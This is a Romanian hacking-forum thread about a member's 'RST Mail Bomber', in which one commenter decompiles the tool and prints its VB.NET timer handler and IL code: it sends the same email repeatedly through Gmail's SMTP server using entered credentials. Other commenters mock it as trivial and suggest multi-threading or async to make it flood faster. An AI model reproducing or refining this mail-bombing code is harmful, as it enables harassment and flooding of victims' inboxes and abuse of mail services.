Jump to content
Zaraky

RST Mail Bomber

Recommended Posts

Guest Kovalski

uh.. un prototip as putea spune.. mie nu mi-ar fi trecut prin cap niciodata sa fac asa ceva..

sincer, niciodata nu mi-ar fi trecut prin cap sa fac asa ceva.

Link to comment
Share on other sites

Mail sender bagat intr-un timer.

Daca avea vreun SMTP era mai bun da asa mai mult de 10 nu se duc .

Si unde e posibilitatea de destinatari multipli ?

Timer1..din codul tau.

VB:


Private Sub [COLOR="#FF0000"]Timer1_Tick[/COLOR](ByVal sender As Object, ByVal e As EventArgs)
Dim message As New MailMessage
Try
message.From = New MailAddress(Me.TextBox1.Text)
message.To.Add(Me.TextBox3.Text)
message.Subject = Me.TextBox5.Text
message.Body = Me.TextBox4.Text
New SmtpClient("smtp.gmail.com") With { _
.Port = &H24B, _
.EnableSsl = True, _
.Credentials = New NetworkCredential(Me.TextBox1.Text, Me.TextBox2.Text) _
}.Send(message)
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
ProjectData.ClearProjectError
End Try
End Sub

IL:


.method private instance void Timer1_Tick(object sender, class [mscorlib]System.EventArgs e) cil managed
{
.maxstack 3
.locals init (
[0] class [System]System.Net.Mail.MailMessage message,
[1] class [System]System.Net.Mail.SmtpClient client,
[2] class [mscorlib]System.Exception exception)
L_0000: nop
L_0001: newobj instance void [System]System.Net.Mail.MailMessage::.ctor()
L_0006: stloc.0
L_0007: nop
L_0008: ldloc.0
L_0009: ldarg.0
L_000a: callvirt instance class [System.Windows.Forms]System.Windows.Forms.TextBox RST_Mail_Bomber.Form1::get_TextBox1()
L_000f: callvirt instance string [System.Windows.Forms]System.Windows.Forms.TextBox::get_Text()
L_0014: newobj instance void [System]System.Net.Mail.MailAddress::.ctor(string)
L_0019: callvirt instance void [System]System.Net.Mail.MailMessage::set_From(class [System]System.Net.Mail.MailAddress)
L_001e: nop
L_001f: ldloc.0
L_0020: callvirt instance class [System]System.Net.Mail.MailAddressCollection [System]System.Net.Mail.MailMessage::get_To()
L_0025: ldarg.0
L_0026: callvirt instance class [System.Windows.Forms]System.Windows.Forms.TextBox RST_Mail_Bomber.Form1::get_TextBox3()
L_002b: callvirt instance string [System.Windows.Forms]System.Windows.Forms.TextBox::get_Text()
L_0030: callvirt instance void [System]System.Net.Mail.MailAddressCollection::Add(string)
L_0035: nop
L_0036: ldloc.0
L_0037: ldarg.0
L_0038: callvirt instance class [System.Windows.Forms]System.Windows.Forms.TextBox RST_Mail_Bomber.Form1::get_TextBox5()
L_003d: callvirt instance string [System.Windows.Forms]System.Windows.Forms.TextBox::get_Text()
L_0042: callvirt instance void [System]System.Net.Mail.MailMessage::set_Subject(string)
L_0047: nop
L_0048: ldloc.0
L_0049: ldarg.0
L_004a: callvirt instance class [System.Windows.Forms]System.Windows.Forms.TextBox RST_Mail_Bomber.Form1::get_TextBox4()
L_004f: callvirt instance string [System.Windows.Forms]System.Windows.Forms.TextBox::get_Text()
L_0054: callvirt instance void [System]System.Net.Mail.MailMessage::set_Body(string)
L_0059: nop
L_005a: ldstr "smtp.gmail.com"
L_005f: newobj instance void [System]System.Net.Mail.SmtpClient::.ctor(string)
L_0064: stloc.1
L_0065: ldloc.1
L_0066: ldc.i4 0x24b
L_006b: callvirt instance void [System]System.Net.Mail.SmtpClient::set_Port(int32)
L_0070: nop
L_0071: ldloc.1
L_0072: ldc.i4.1
L_0073: callvirt instance void [System]System.Net.Mail.SmtpClient::set_EnableSsl(bool)
L_0078: nop
L_0079: ldloc.1
L_007a: ldarg.0
L_007b: callvirt instance class [System.Windows.Forms]System.Windows.Forms.TextBox RST_Mail_Bomber.Form1::get_TextBox1()
L_0080: callvirt instance string [System.Windows.Forms]System.Windows.Forms.TextBox::get_Text()
L_0085: ldarg.0
L_0086: callvirt instance class [System.Windows.Forms]System.Windows.Forms.TextBox RST_Mail_Bomber.Form1::get_TextBox2()
L_008b: callvirt instance string [System.Windows.Forms]System.Windows.Forms.TextBox::get_Text()
L_0090: newobj instance void [System]System.Net.NetworkCredential::.ctor(string, string)
L_0095: callvirt instance void [System]System.Net.Mail.SmtpClient::set_Credentials(class [System]System.Net.ICredentialsByHost)
L_009a: nop
L_009b: ldloc.1
L_009c: ldloc.0
L_009d: callvirt instance void [System]System.Net.Mail.SmtpClient::Send(class [System]System.Net.Mail.MailMessage)
L_00a2: nop
L_00a3: leave.s L_00b4
L_00a5: dup
L_00a6: call void [Microsoft.VisualBasic]Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(class [mscorlib]System.Exception)
L_00ab: stloc.2
L_00ac: nop
L_00ad: call void [Microsoft.VisualBasic]Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
L_00b2: leave.s L_00b4
L_00b4: nop
L_00b5: nop
L_00b6: ret
.try L_0008 to L_00a5 catch [mscorlib]System.Exception handler L_00a5 to L_00b4
}

Nu e vorba ca nu te respectam, insa mie unul mi-ai atras atentia numele acestui articol, si imi amintesc ca flux a patit acelasi lucru la inceput si i s-a atras atentia, iar programelul tau pe langa proiectele lui sunt cam nimic...un sfat ar fi sa folosesti multi-thread sau async, sa scoti timerul....ca nu da deloc bine, si oprtiti-va dreq cu invidia...nu e vorba de invidie la mijloc, ABSOLUT ORICINE poate face asa ceva cu NICI UN FEL DE CUNOSTINTA, decat un amarat de video dupa youtube din alte sute despre acest subiect poate face astfel de program, eu unul cred ca mai mult mi-a luat sa scriu asta decat sa fac unul in power shell(c#), sau chiar vb script.

Tot ce spun este, bravo tie, sunt guri rele stai tu calm.. eu unul sunt multumit ca incercati, dar ca sa-ti mearga treaba mai bine, eu zic sa iti mentii glasul la acelasi volum cu proiectele pe care le intitulezi, si le publici pe RST, astfel vei ocoli altercatiile de gen.

Bravo tie, continua tot asa, poate iti iese mai bine sau pe PLACUL publicului:))

Edited by me.mello
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...